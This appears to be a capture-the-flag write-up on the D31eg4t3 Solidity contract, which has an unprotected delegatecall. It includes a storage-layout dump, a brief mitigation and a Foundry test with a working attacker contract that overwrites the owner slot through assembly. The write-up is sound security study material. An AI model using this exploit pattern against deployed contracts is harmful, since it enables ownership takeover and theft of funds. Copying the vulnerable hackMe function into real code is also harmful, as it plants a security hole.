## D31eg4t3 attack

The D31eg4t3 contract is vulnerable to an **unprotected delegatecall** to any address.

As we can just call any contract logic we control with the storage layout from the D31eg4t3 contract we can use the attacker contract to update all the variables we want in the D31eg4t3 contract.

To get the storage layout we can use forge and find the storage slots we want to update.
```bash
forge inspect D31eg4t3 storage-layout --pretty

| Name         | Type                     | Slot | Offset | Bytes |
|--------------|--------------------------|------|--------|-------|
| a            | uint256                  | 0    | 0      | 32    |
| b            | uint8                    | 1    | 0      | 1     |
| d            | string                   | 2    | 0      | 32    |
| c            | uint32                   | 3    | 0      | 4     |
| mot          | string                   | 4    | 0      | 32    |
| owner        | address                  | 5    | 0      | 20    |
| canYouHackMe | mapping(address => bool) | 6    | 0      | 32    |
```

Another possibility is to deploy a contract with the exact same layout and just update the variables.

## Mitigation
Don't allow arbitrary / untrusted contracts to be called via delegatecall.

## Test
forge test --match-contract=D31eg4t3Test

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import "forge-std/Test.sol";

contract D31eg4t3Test is Test {

    address owner = 0x0000000000000000000000000000000000000001;
    address attacker = 0x0000000000000000000000000000000000000003;

    D31eg4t3 public d31eg4t3;
    AttackD31eg4t3 public attackD31eg4t3;

    function setUp() public {
        vm.prank(owner);
        d31eg4t3 = new D31eg4t3();
        
        vm.prank(attacker);
        attackD31eg4t3 = new AttackD31eg4t3(address(d31eg4t3));
    }

    function testAttack() public {        
        
        // owner of D31eg4t3 is owner
        assertEq(owner, d31eg4t3.owner());
        
        // contract is not hacked yet by attacker
        assertFalse(d31eg4t3.canYouHackMe(attacker));

        // we now attack the D31eg4t3 to update the owner
        attackD31eg4t3.hackTheD31eg4t3();

        // owner of D31eg4t3 is now the attacker
        assertEq(attacker, d31eg4t3.owner());

        // contract is now hacked by attacker
        assertTrue(d31eg4t3.canYouHackMe(attacker));
    }
}

contract AttackD31eg4t3 {
    // copy storage layout from D31eg4t3
    uint a;
    uint8 b;
    string c;
    uint32 d;
    string e;
    address owner;
    mapping (address => bool) public canYouHackMe;
    // end

    address private immutable _ownerWithPower;
    D31eg4t3 private immutable d31eg4t3;
    constructor(address _d31eg4t3) {
        _ownerWithPower = msg.sender;
        d31eg4t3 = D31eg4t3(_d31eg4t3);
    }

    function hackTheD31eg4t3() external {
        d31eg4t3.hackMe("");
    }

    fallback() external {
        address overWriteOwner = _ownerWithPower;
        
        // we overwrite storage slot 5 via assembly !
        assembly {
            sstore(5, overWriteOwner)
        }

        // or just update the variable as we have the same storage layout
        canYouHackMe[_ownerWithPower] = true;
    }
}

contract D31eg4t3{

    uint a = 12345;
    uint8 b = 32;
    string private d; // Super Secret data.
    uint32 private c; // Super Secret data.
    string private mot; // Super Secret data.
    address public owner;
    mapping (address => bool) public canYouHackMe;

    modifier onlyOwner{
        require(false, "Not a Owner");
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function hackMe(bytes calldata bites) public returns(bool, bytes memory) {
        (bool r, bytes memory msge) = address(msg.sender).delegatecall(bites);
        return (r, msge);
    }


    function hacked() public onlyOwner{
        canYouHackMe[msg.sender] = true;
    }
}
```